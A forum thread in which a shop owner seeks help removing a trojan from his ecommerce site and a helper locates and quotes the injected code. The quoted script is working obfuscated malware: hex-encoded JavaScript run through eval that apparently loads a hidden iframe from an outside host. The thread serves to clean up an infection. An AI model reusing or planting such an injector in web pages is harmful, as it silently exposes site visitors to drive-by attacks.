Need assistance to remove trojan and make same small changes at my ecommerce.

[Mircko]

Hello.

I need a fast and seriuos freelance in order to remove a trojan in my ecommerce files and make some little changes on my template.

Thanks.

[vekia]

what kind of trojan you've got ? in my opinion it is necessary question - I'm asking because maybe the main problem is in fact, that your PC is infected ? if so, any repair of "website" will not work at all, it's because website will be infected again when you will connect via FTP etc.

[Mircko]

Ok.

This is the message of Windows Security Essential: TROJAN:QUIDVETIS.A

It appears every time in a pop up of windows security essentials when i open new page of website.

Edited August 8, 2013 by Mircko (see edit history)

[vekia]

may i know what is the url of the infected website?

[Mircko]

I sent you by PM.

[vekia]

thanks

 

i scanned your website with my ESET smart security antivirus and everything looks fine there, no TROJAN detected :|

[Mircko]

Thankyou but still appears...

Could you try to surf it?

[Mircko]

Please scan now

[vekia]

still the same, no alerts about virus.

 

you've got alerts on whole website or just on certain pages?

[Mircko]

It would appear on the homepage and also on the product page

[vekia]

you antivirus show what part of website / file are infected? (url to the .js script etc?)

[Mircko]

I tried to replace some files froma backup, but after replace admin folder, now no one can add product to the cart...

Appears this error:

 

"impossible to add the product to the cart"

textStatus "parsererror"

..."

[vekia]

can you turn of CCC for the .js files ?

[Mircko]

Yes. I made.

[vekia]

files are still minified:

[Mircko]

What do you mean?

[vekia]

you can minify js files under the preferences > performance tab in back office

files on your page are minified, you you have this "Feature" active, just deactive it

[Mircko]

Yes. I made it

[vekia]

thanks

 

now i found it

 

here is the code:

<script type="text/javascript" language="javascript">                                                                                                                           try{if(window.document)--document.getElementById('12')}catch(qq){if(qq!=null)ss=eval("St"+"ring");}a="2e74837c7182777d7c2e88888874747436372e891b182e846f802e76846f812e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b733537491b181b182e76846f813c8180712e4b2e357682827e483d3d747780818273727573737c827380826f777c7b737c823c717d7b3d78813d6271875f557b65853c7e767e35491b182e76846f813c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a83827335491b182e76846f813c8182877a733c707d807273802e4b2e353e35491b182e76846f813c8182877a733c7673777576822e4b2e353f7e8635491b182e76846f813c8182877a733c85777282762e4b2e353f7e8635491b182e76846f813c8182877a733c7a7374822e4b2e353f7e8635491b182e76846f813c8182877a733c827d7e2e4b2e353f7e8635491b181b182e77742e362f727d71837b737c823c757382537a737b737c8250875772363576846f813537372e891b182e727d71837b737c823c858077827336354a7277842e77724b6a3576846f816a354c4a3d7277844c3537491b182e727d71837b737c823c757382537a737b737c8250875772363576846f8135373c6f7e7e737c725176777a723676846f8137491b182e8b1b188b1b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e891b182e846f802e827d726f872e4b2e7c73852e526f82733637491b182e846f802e73867e7780732e4b2e7c73852e526f82733637491b182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f491b182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f878137491b182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a8373371b182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e303037491b188b1b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e891b182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e37491b182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f491b182e77742e362e362e2f81826f80822e372e34341b182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e371b182e891b182e80738283807c2e7c837a7a491b182e8b1b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a491b182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e37491b182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c758276491b182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e37491b188b1b1877742e367c6f8477756f827d803c717d7d797773537c6f707a7372371b18891b18777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491b181b188888887474743637491b188b1b188b1b18";z=[];for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);}eval(ss["fr"+"omCharCode"].apply(ss,z));</script>

 

you have to remove this code form your .php files

 

 

 

another questions

1. on server where you've got your store, you have also another websites?
   
2. you're on shared hosting ?